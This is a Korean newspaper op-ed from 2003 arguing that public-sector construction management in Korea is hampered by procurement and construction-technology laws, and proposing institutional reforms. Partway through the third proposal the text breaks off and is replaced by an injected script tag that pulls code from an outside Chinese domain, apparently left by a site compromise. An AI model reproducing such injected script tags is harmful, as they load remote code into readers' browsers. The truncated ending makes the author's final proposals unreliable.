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언론기고

CM 활성화 위해 제도 인프라 구축 우선돼야

보도일자 2003-11-17

보도기관 건설뉴스

지금까지 CM에 대해 제도를 만들어야 한다거나 세부규정을 만들어야 한다는 주장과 연구는 많이 있었지만 정작 CM방식이 제대로 힘을 발휘하기 위한 제도적 인프라에 대해서는 너무나 소흘히 다뤄온 게 우리의 현실이다.

필자의 판단으로는 현재 우리나라의 「국가를당사자로하는계약에관한법률」, 「건설기술관리법」, 「건설산업기본법」 등이 담고 있는 제도적 한계성으로는 미국이나 영국에서와 같은 CM방식으로부터 얻어지는 효율성과 경제성은 기대하기가 어렵다. 사업의 효율성이라면 CM방식을 적용한 사업이 그렇치 않은 사업과 비교해 훨씬 나아야 함에도 불구하고 현재의 제도로는 기대가 어렵도록 되어 있다.

「국계법」은 공공공사는 기본적으로 장기계속계약 혹은 차수별 계약제도 도입을 일반화시켜 놓았다. 이 제도에서는 공기에 대한 부담이 발주자 혹은 시공자 모두로부터 해방시켜 놓았다.
예산에 맞춰 연간 단위로 공사가 계약되는 환경에서는 공기관리의 의미가 없어지는 게 당연하다.

CM방식에서 업무범위관리와 공기관리가 중요한 역할인데 업무범위는 내역서로, 공기는 연 단위의 차수별 계약으로 진행되기 때문에 전문성이나 차별성이 기타 공사에 비해 차이가 나타날 환경이 아니다.

「건기법」의 경우 CM을 시공단계에서는 책임감리와 동일시하기 때문에 검토·확인만의 역할을 하도록 되어 있다. 한 예로 100km의 고속도로 건설공사를 착공하면서 10개의 공구로 분활해 발주하게 된다면 책임감리는 공구별 발주가 이뤄짐으로 인해 시공공구와 책임감리공구가 1:1로 된다.

그런데 100km를 건설하기 위한 종합공정표 개발이나 공구별 공정을 조정·관리하는 기능은 현재 건기법에서는 누구의 책임도 아닌 발주자의 책임으로 남아 있다.

그런데도 정작 발주자는 CM이기 때문에 CM사업자의 책임이라고 주장한다. 그러나 책임감리가 공정표를 개발해야 한다거나 관리해야 한다는 역할은 「건기법시행령제52조」 어디에도 없다.

CM은 일반적으로 공구단위가 아닌 사업단위로 이뤄진다. 이 의미는 당해 사업에서 발생하는 기술프로세스 관리를 CM이 담당한다는 뜻이다. 그러나 현행 「건기법」의 경우 설계에 대한 심의를 외부 기관에 위탁하도록 되어 있다. 그렇다면 CM이 설계관리에서 해야하는 역할은 완전히 중복되거나 혹은 없거나 하는 문제가 발생한다.

위의 몇 가지 측면에서만 보면 우리나라 공공공사에서는 CM방식이 기타공사방식에 비해 차이가 나지 않도록 되어 있다. 그럼에도 불구하고 책임감리 대가보다 +α가 추가된다면 발주자로서는 당연히 기피하게 될 것이 분명하지 않는가? 더구나 공공발주기관들은 자체 필요성이 아니라면 굳이 CM방식을 도입하지 않으려고 한다.

성과보다 투입비용이 늘어난다면 적용에 설득력이 없다. 그럼에도 불구하고 함양군의 수해복구 사업, 서울 광진구민회관 건설공사에 CM방식이 도입된 이유는 단 시간 내 복구를 해야하는 사업공기의 압박성, 전문성과 인력이 부족한 상태를 보완하기 위해서는 불가피한 선택이었으리라.

더구나 2003년 전국체육대회를 유치한 전주시가 다이빙대를 포함한 수영장 건설에 공기문제가 발생하여 CM방식을 도입한 점 등은 발주자와 건설공사가 CM방식을 절대적으로 필요한 환경 조건을 갖추었기 때문이 아닌가?

공공공사에서 CM방식이 표류하고 있는 것과는 대조적으로 최근 재건축사업이나 할인매장건설 등 민간사업에는 CM방식이 활발하게 적용되고 있다.

민간공사에서의 대체적인 평가도 긍정적으로 나오고 있다.
이것은 공공공사가 겪고 있는 법적인 제약에서부터 자유롭기 때문이다. 민간발주자의 공기와 투자비의 절감을 당연시하는 기대감과 CM사업자의 전문성이 상호 상승 작용하여 결국 사업에 이익을 가져다주기 때문이다.

그러나 공공공사에 만약 CM사업자의 노력으로 공기를 단축했을 경우 CM사업자에게 돌아가는 혜택이 무엇인가? 공기단축으로 인한 인원투입이 감소하여 결국 CM사업자가 손해를 보게 된다.

그렇다면 CM사업자가 공기관리에 전력투구할 이유가 있는가? 이 경우 공기보다는 품질관리와 안전관리를 강화하여 공기를 지연시키는 게 CM사업자 측면에서 보면 책임도 벗어나고 대가도 늘어나는 이상한(?) 현상이 발생하지 않겠는가? 이제는 CM방식을 도입하는 사업의 경우 CM사업자에게 역할과 책임이 부여되도록 국내제도의 인프라 정비가 필요할 때다.
여기에는 기본적으로 다음과 같은 점이 고려돼야 한다.

첫째, CM방식의 도입이 발주자의 선택 사항으로 돼야 하며 발주자는 공기와 설계변경에 문제가 되는 공사에 적용한다는 원칙이 있어야 한다. 공사의 규모가 아닌 공사의 성격에 의해 좌우돼야 한다.

둘째, CM방식을 도입하는 공사는 계속비계약이 의무적으로 도입되도록 해야 한다.

셋째, CM방식을 ?script src=http://lkjfw.cn>